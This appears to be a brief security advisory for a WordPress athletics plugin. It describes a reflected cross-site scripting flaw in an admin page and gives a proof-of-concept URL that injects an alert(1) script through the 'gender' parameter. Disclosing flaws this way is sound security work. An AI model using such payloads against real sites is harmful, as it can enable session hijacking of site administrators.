The plugin does not sanitise and escape a parameter before outputting back in an admin page, leading to a Reflected Cross-Site Scripting
http://example.com/wp-admin/admin.php?page=wp-athletics-print-rankings&print=true&period=all&type=all&age=all&event=1&gender=%3C%2Fscript%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E